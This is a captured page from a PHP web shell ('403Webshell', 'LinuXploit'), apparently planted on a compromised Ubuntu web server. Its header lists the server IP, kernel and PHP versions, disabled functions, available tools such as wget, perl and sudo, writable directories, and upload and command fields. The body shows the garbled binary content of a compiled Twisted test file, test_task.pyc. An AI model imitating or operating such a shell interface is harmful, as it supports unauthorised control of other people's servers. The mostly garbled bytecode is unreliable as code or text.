403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/twisted/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/twisted/test/test_task.pyc
ó
ê=Nc@søddlmZddlmZddlmZmZmZmZm	Z	ej
Z
ddlmZdej
fd„ƒYZdefd„ƒYZd	ejfd
„ƒYZdejfd„ƒYZd
ejfd„ƒYZdejfd„ƒYZdS(iÿÿÿÿ(tset(tunittest(t
interfacesttasktreactortdeferterror(tfailuretTestableLoopingCallcBseZd„ZRS(cOs&tt|ƒj||Ž||_dS(N(tsuperRt__init__tclock(tselfRtatkw((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR
s(t__name__t
__module__R
(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRst
TestExceptioncBseZRS((RR(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRst
ClockTestCasecBs•eZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„Zd„Z
d„Zd
„Zd„Zd„ZRS(s<
    Test the non-wallclock based clock implementation.
    cCs&tjƒ}|j|jƒdƒdS(sV
        Test that the L{seconds} method of the fake clock returns fake time.
        iN(RtClocktassertEqualtseconds(Rtc((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestSeconds scCsptjƒ}|jdd„dddƒ}|jtjj|ƒƒ|j|jƒdƒ|j|j	ƒƒdS(s{
        Test that calls can be scheduled for later with the fake clock and
        hands back an L{IDelayedCall}.
        icSsdS(N(tNone(R
tb((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt<lambda>.sRiN(
RRt	callLatert
failUnlessRtIDelayedCallt
providedByRtgetTimetactive(RRtcall((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt
testCallLater(s
cCsKtjƒ}|jdd„dddƒ}|jƒ|j|jƒƒdS(s3
        Test that calls can be cancelled.
        icSsdS(N(R(R
R((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR9sRiN(RRRtcanceltfailIfR (RRR!((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestCallLaterCancelled4s
cCs_tjƒ}|jdd„dddƒ}|jdd„dddƒ}|j||kƒd	S(
s[
        Test that the DelayedCall returned is not one previously
        created.
        i
cSsdS(N(R(R
R((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRDsiRicSsdS(N(R(R
R((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyREsiiN(RRRR$(RRtcall1tcall2((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_callLaterOrdering>scsg‰tjƒ}|jd‡fd†ƒ}|jdƒ|jˆgƒ|jdƒ|jˆdgƒ|j|jƒƒdS(sE
        Test that advancing the clock will fire some calls.
        ics
ˆjdƒS(N(tappendR((tevents(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyROsiN(RRRtadvanceRRR$R (RRR!((R*s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestAdvanceIs

csAtjƒ}‡‡fd†}|jd|ƒ‰|jdƒdS(s
        Test attemping to cancel the call in a callback.

        AlreadyCalled should be raised, not for example a ValueError from
        removing the call from Clock.calls. This requires call.called to be
        set before the callback is called.
        csˆjtjˆjƒdS(N(tassertRaisesRt
AlreadyCalledR#((RR!(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pytcb`siN(RRRR+(RRR/((RR!s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestAdvanceCancelWscsšg‰tjƒ}|jd‡fd†dddƒ}|jdƒ|j|jƒdƒ|jdƒ|jˆgƒ|jdƒ|jˆdgƒdS(	s1
        Test that calls can be delayed.
        icsˆj||fƒS(N(R)(R
R(R*(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRlsRigø?gð?N(ii(RRRtdelayRRR+(RRR!((R*s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestCallLaterDelayedfs$


cs§g‰tjƒ}|jd‡fd†dddƒ}|jdƒ|jdƒ|j|jƒdƒ|jdƒ|jˆgƒ|jdƒ|jˆdgƒdS(	sL
        Test that calls can have their time reset to a later time.
        icsˆj||fƒS(N(R)(R
R(R*(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR{siRiiN(ii(RRRR+tresetRR(RRR!((R*s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestCallLaterResetLaterus$



cs}g‰tjƒ}|jd‡fd†dddƒ}|jdƒ|j|jƒdƒ|jdƒ|jˆdgƒdS(	sO
        Test that calls can have their time reset to an earlier time.
        icsˆj||fƒS(N(R)(R
R(R*(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR‹siRiiN(ii(RRRR3RRR+(RRR!((R*s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestCallLaterResetSooner…s$

cCshtjƒ}|jdd„ƒ}|jdd„ƒ}|jƒ}|jt||gƒt|ƒƒdS(sB
        Test that we can get a list of all delayed calls
        icSsdS(N(R(tx((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR—sicSsdS(N(R(R6((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR˜sN(RRRtgetDelayedCallsRR(RRR!R'tcalls((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_getDelayedCalls’s
cCs&tjƒ}|j|jƒgƒdS(sk
        Test that we get an empty list from getDelayedCalls on a newly
        constructed Clock.
        N(RRRR7(RR((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_getDelayedCallsEmptyŸscCs,tjƒ}|jtjj|ƒdƒdS(Ns#Clock does not provide IReactorTime(RRRRtIReactorTimeR(RR((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_providesIReactorTime¨scsg‰d
dg}tjƒ‰‡‡fd†}ˆjd|dƒ}|jdƒˆjd|dƒˆjdgdƒ|jˆ|ƒd	S(s4
        The order of calls scheduled by L{task.Clock.callLater} is honored when
        adding a new call via calling L{task.Clock.callLater} again.

        For example, if L{task.Clock.callLater} is invoked with a callable "A"
        and a time t0, and then the L{IDelayedCall} which results from that is
        C{reset} to a later time t2 which is greater than t0, and I{then}
        L{task.Clock.callLater} is invoked again with a callable "B", and time
        t1 which is less than t2 but greater than t0, "B" will be invoked before
        "A".
        Rg@R
g@csˆj|ˆjƒfƒS(N(R)R(tn(Rtresult(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR½sgð?iiN(Rg@(R
g@(RRRR3tpumpR(Rtexpectedtlogtimetcall_a((RR>s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_callLaterKeepsCallsOrdered®s
csg‰d
dg}tjƒ‰‡‡fd†}ˆjd|dƒ}ˆjd|dƒ|jdƒˆjdgdƒ|jˆ|ƒd	S(s:
        The order of calls scheduled by L{task.Clock.callLater} is honored when
        re-scheduling an existing call via L{IDelayedCall.reset} on the result
        of a previous call to C{callLater}.

        For example, if L{task.Clock.callLater} is invoked with a callable "A"
        and a time t0, and then L{task.Clock.callLater} is invoked again with a
        callable "B", and time t1 greater than t0, and finally the
        L{IDelayedCall} for "A" is C{reset} to a later time, t2, which is
        greater than t1, "B" will be invoked before "A".
        Rg@R
g@csˆj|ˆjƒfƒS(N(R)R(R=(RR>(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRÖsgð?iiN(Rg@(R
g@(RRRR3R?R(RR@RARB((RR>s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt$test_callLaterResetKeepsCallsOrderedÇs
csŸg‰dd
g}tjƒ‰‡‡fd†}ˆjd|dƒ‰‡fd†}ˆjd|ƒˆjd|dƒˆjd	gd
ƒ|jˆ|ƒdS(s9
        The order of calls scheduled by L{task.Clock.callLater} is honored when
        re-scheduling an existing call via L{IDelayedCall.reset} on the result
        of a previous call to C{callLater}, even when that call to C{reset}
        occurs within the callable scheduled by C{callLater} itself.
        Rg@Rg@csˆj|ˆjƒfƒS(N(R)R(R=(RR>(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRêsg@csˆjdƒdS(Ng@(R3((tcall_b(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR
ísgð?gà?i
N(Rg@(Rg@(RRRR?R(RR@RAR
((RRER>s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt.test_callLaterResetInsideCallKeepsCallsOrderedàs(RRt__doc__RR"R%R(R,R0R2R4R5R9R:R<RCRDRF(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRs 			
						
	
					tLoopTestCasecBszeZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„Zd„Z
d„ZRS(
s[
    Tests for L{task.LoopingCall} based on a fake L{IReactorTime}
    implementation.
    cCs)tjd„ƒ}|j|jtƒdS(sG
        L{LoopingCall}'s default clock should be the reactor.
        cSsdS(N(R(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRsN(RtLoopingCallRRR(RR!((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_defaultClockýscsIg‰d	‰tjƒ‰‡‡‡fd†}tj|ƒ}ˆ|_d‰|jdƒ|jˆdgƒ|jˆjƒˆƒˆjdƒ|jˆdgƒd‰ˆjdƒ|jˆddgƒ|jˆjƒdƒˆjdƒ|jˆddgƒd‰ˆjdƒ|jˆdddgƒ|jˆjƒdƒd	S(
sÖ
        When more time than the defined interval passes during the execution
        of a callback, L{LoopingCall} should schedule the next call for the
        next interval which is still in the future.
        cs$ˆjˆjƒƒˆjˆƒdS(N(R)RR+((RtcallDurationttimes(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt	aCallbacksigà?iig@g@iN(	RRRRIRtstartRRR+(RRMR!((RRKRLs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_callbackTimeSkipss,	




csÏg‰tjƒ‰‡‡fd†}tj|ƒ}ˆ|_|jdƒ|jˆdgƒˆjdƒ|jˆddgƒˆjdƒ|jˆdddgƒˆjdƒ|jˆdddgƒdS(s	
        When more time than the defined interval passes between when
        L{LoopingCall} schedules itself to run again and when it actually
        runs again, it should schedule the next call for the next interval
        which is still in the future.
        csˆjˆjƒƒdS(N(R)R((RRL(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRMAsgà?iiiiN(RRRIRRNRR+(RRMR!((RRLs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_reactorTimeSkips8s	



cs,g‰tjƒ‰‡‡fd†}tjj|ƒ}ˆ|_d}d}|j|ƒ|jˆd
gƒˆj||ƒ|jˆd||dfgƒˆjd||ƒ|jˆd||dfd|d|dfgƒˆjdƒ|jˆd
||dfd|d|dfgƒd	S(s¬
        When L{LoopingCall} schedules itself to run again, if more than the
        specified interval has passed, it should schedule the next call for the
        next interval which is still in the future. If it was created
        using L{LoopingCall.withCount}, a positional argument will be
        inserted at the beginning of the argument list, indicating the number
        of calls that should have been made.
        csˆjˆjƒ|fƒdS(N(R)R(tnumCalls(RRL(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRMesgà?g{®Gáz„?iiiiiN(ii(ii(ii(ii(RRRIt	withCountRRNRR+(RRMR!tINTERVALtREALISTIC_DELAY((RRLs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_reactorTimeCountSkipsZs&		
 	
	cs
g‰tjƒ‰‡‡fd†}tjj|ƒ}ˆ|_d}d}|j|ƒ|jˆjƒdƒˆj||ƒ|jˆjƒ||dfƒˆj|dƒ|jˆjƒd||dfƒˆj|dƒ|jˆjƒd	||dfƒd
S(s1
        L{LoopingCall.withCount} counts only calls that were expected to be
        made.  So, if more than one, but less than two intervals pass between
        invocations, it won't increase the count above 1.  For example, a
        L{LoopingCall} with interval T expects to be invoked at T, 2T, 3T, etc.
        However, the reactor takes some time to get around to calling it, so in
        practice it will be called at T+something, 2T+something, 3T+something;
        and due to other things going on in the reactor, "something" is
        variable.  It won't increase the count unless "something" is greater
        than T.  So if the L{LoopingCall} is invoked at T, 2.75T, and 3T,
        the count has not increased, even though the distance between
        invocation 1 and invocation 2 is 1.75T.
        csˆjˆjƒ|fƒdS(N(R)R(tcount(RRL(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRMšsgà?g{®Gáz„?iigü?g@gÐ?g@N(ii(	RRRIRRRRNRtpopR+(RRMR!RSRT((RRLs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_countLengthyIntervalCountsŠs	
 $csDdddg}tjƒ}g‰dd‡fd†}t||ddddƒ}|jdƒ}g‰‡fd†}|j|ƒ|j|ƒ|jtˆƒdd	tˆƒfƒxZˆD]R\}}}	}
|j|dƒ|j|dƒ|j|	dƒ|j|
dƒq¼W|j	ƒ|j
ˆd
|ƒ|j|jƒdS(Ngš™™™™™©?gš™™™™™¹?csˆj||||fƒdS(N(R)(R
RRtd(tL(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pytfoo½sR
RRYcsˆj|ƒdS(N(R)(R>(t	theResult(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt
saveResultÄsisgot %d iterations, not 3i(
RRRRRNtaddCallbackR?RtlentstoptassertIdenticalR$R8(RttimingsRR[tlctDR]R
RRRY((R\RZs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestBasicFunction³s(


csÒdddg}tjƒ}g}t||jdƒ}|jddtƒ}g‰‡fd†}|j|ƒ|j|ƒ|j	t
|ƒddt
|ƒfƒ|jƒ|jˆd|ƒ|j
|jƒdS(Ngš™™™™™©?gš™™™™™¹?tnowcsˆj|ƒdS(N(R)(R>(R\(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR]äsisgot %d iterations, not 2i(RRRR)RRNtFalseR^R?RR_R`RaR$R8(RRbRRZRcRYR]((R\s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestDelayedStartÚs


cCs,tjd„ƒ}|jt|jdƒdS(NcSsdS(N(R(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRósiÿÿÿÿ(RRIR-t
ValueErrorRN(RRc((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestBadDelayòscsng‰‡fd†}tjƒ}t||ƒ}|j|dtƒ|jƒ|jˆƒ|j|jƒdS(NcsˆjdƒdS(N(R)R((tran(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR[úsRf(RRRRNRgR`R$R8(RR1R[RRc((Rks:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt
_stoppingTestøs

cCs
|jdƒS(Ni(Rl(R((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestStopAtOncescCs
|jdƒS(Ni
(Rl(R((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestStoppingBeforeDelayedStart	scs›g‰‡fd†}tjƒ}t||ƒ}|jddtƒ|jdƒ|jƒ|jdƒ|jˆgƒ|jdƒ|jˆdgƒdS(s8
        Test that L{LoopingCall} can be reset.
        csˆjdƒdS(N(R)R((Rk(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR[siRfiN(	RRRRNRgR+R3RR(RR[RRc((Rks:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt
test_reset
s



(RRRGRJRORPRURXReRhRjRlRmRnRo(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRHøs		3	"	0	)	'			
		tReactorLoopTestCasecBsPeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	RS(cCs4d„}tj|dƒ}|j|jdƒtƒS(NcSst|ƒ‚dS(N(R(R6((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR[%stbargš™™™™™¹?(RRIt
assertFailureRNR(RR[Rc((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestFailure$s	cs:‡fd†}tj|dƒ‰|jˆjdƒtƒS(Ncsˆjƒt|ƒ‚dS(N(R`R(R6(Rc(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR[-s
Rqgš™™™™™¹?(RRIRrRNR(RR[((Rcs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestFailAndStop,scsUg‰‡‡fd†}tj|ƒ‰ˆjdƒ}‡‡fd†}|j|ƒS(Ncs0ˆjdƒtˆƒdkr,ˆjƒndS(Ni(R)RR_R`((RkRc(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR[8s
icsˆjtˆƒdƒdS(Ni(RR_(tign(RkR(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pytstopped?s(RRIRNR^(RR[RYRv((RkRRcs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestEveryIteration5scs]tjƒ‰‡fd†}tj|ƒ|_|jjddtƒtjd|j	ˆƒˆS(NcsˆjtjdƒƒdS(Ns'This task also should never get called.(terrbackRtDefaultException((RY(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR[HsiRfi(
RtDeferredRRIt_lcRNRgRRt!_callback_for_testStopAtOnceLater(RR[((RYs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestStopAtOnceLaterDscCs'|jjƒtjd|jdƒdS(Nitsuccess(R{R`RRtcallback(RRY((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR|Qs
csgddg}tjƒ‰‡‡fd†}tˆ|ƒ‰ˆjdƒˆj|ƒ|jˆjƒdS(Ngš™™™™™É?gš™™™™™é?cs<tjƒ}|j‡fd†ƒˆjd|jdƒ|S(Ncs
ˆjƒS(N(R`(t_(Rc(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR]si(RRzR^RRR(RY(RcR(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR[[s(RRRRNR?R$R8(RRbR[((RcRs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestWaitDeferredUs

cssdg}tjƒ‰‡fd†}tˆ|ƒ}|jdƒ}|j|tƒˆj|ƒ|jˆjƒ|S(Ng333333Ó?cs)tjƒ}ˆjd|jtƒƒ|S(Ng333333Ó?(RRzRRxR(RY(R(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR[psi(	RRRRNRrRR?R$R8(RRbR[RcRY((Rs:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttestFailurePropagationfs	
csætjƒ}tjƒ‰g‰‡‡fd†}tjj|ƒ}||_|jddtƒ‰|j	ˆgƒ|j
ddgƒ|j	tˆƒdƒˆjdƒ|j
dgƒ|j	tˆƒdƒ|j	ˆddgƒdS(	s?
        In the case that the function passed to L{LoopingCall.withCount}
        returns a deferred, which does not fire before the next interval
        elapses, the function should not be run again. And if a function call
        is skipped in this fashion, the appropriate count should be
        provided.
        cs+ˆj|ƒtˆƒdkr#ˆSdSdS(Ni(R)R_R(t
possibleCount(tdeferredCountsRY(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pytcountTrackerŠs
gš™™™™™É?Rfgš™™™™™Ù?iiiN(RRRRzRIRRRRNRgRR?R_RR(Rt	testClockR…Rc((RYR„s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_deferredWithCount~s	
(
RRRsRtRwR}R|RR‚R‡(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRp!s					
			tDeferLaterTestscBs)eZdZd„Zd„Zd„ZRS(s'
    Tests for L{task.deferLater}.
    csŸg‰tƒ‰‡‡fd†}tjƒ}tj|d|dddƒ}|j|jˆƒ|jdƒ|jˆgƒ|jdƒ|jˆdgƒ|S(sœ
        The L{Deferred} returned by L{task.deferLater} is called back after
        the specified delay with the result of the function passed in.
        csˆj||fƒˆS(N(R)(R[Rq(tflagtresults(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pytcallable·siR[Rqii(sfooRq(tobjectRRt
deferLaterR^RaR+R(RR‹RRY((RŠR‰s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt
test_callback°s	

cCsGd„}tjƒ}tj|d|ƒ}|jdƒ|j|tƒS(sƒ
        The L{Deferred} returned by L{task.deferLater} is errbacked if the
        supplied function raises an exception.
        cSs
tƒ‚dS(N(R(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyR‹Êsi(RRRR+RrR(RR‹RRY((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_errbackÅs
	
cspg‰tjƒ‰tjˆdˆjdƒ}|jƒ‡‡‡fd†}ˆj|tjƒ|j	|ƒ|S(sŒ
        The L{Deferred} returned by L{task.deferLater} can be
        cancelled to prevent the call from actually being performed.
        ics'ˆjgˆjƒƒˆjˆƒdS(N(RR7tassertFalse(tignored(RtcalledR(s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pytcbCancelledÜsN(
RRRR)RR#RrRtCancelledErrorR^(RRYR“((RRR’s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyttest_cancelÓs

(RRRGRŽRR•(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyRˆ¬s		N(ttwisted.python.compatRt
twisted.trialRttwisted.internetRRRRRRttwisted.pythonRRIRt	ExceptionRtTestCaseRRHRpRˆ(((s:/usr/lib/python2.7/dist-packages/twisted/test/test_task.pyt<module>s(	Üÿ*‹

Youez - 2016 - github.com/yon3zu
LinuXploit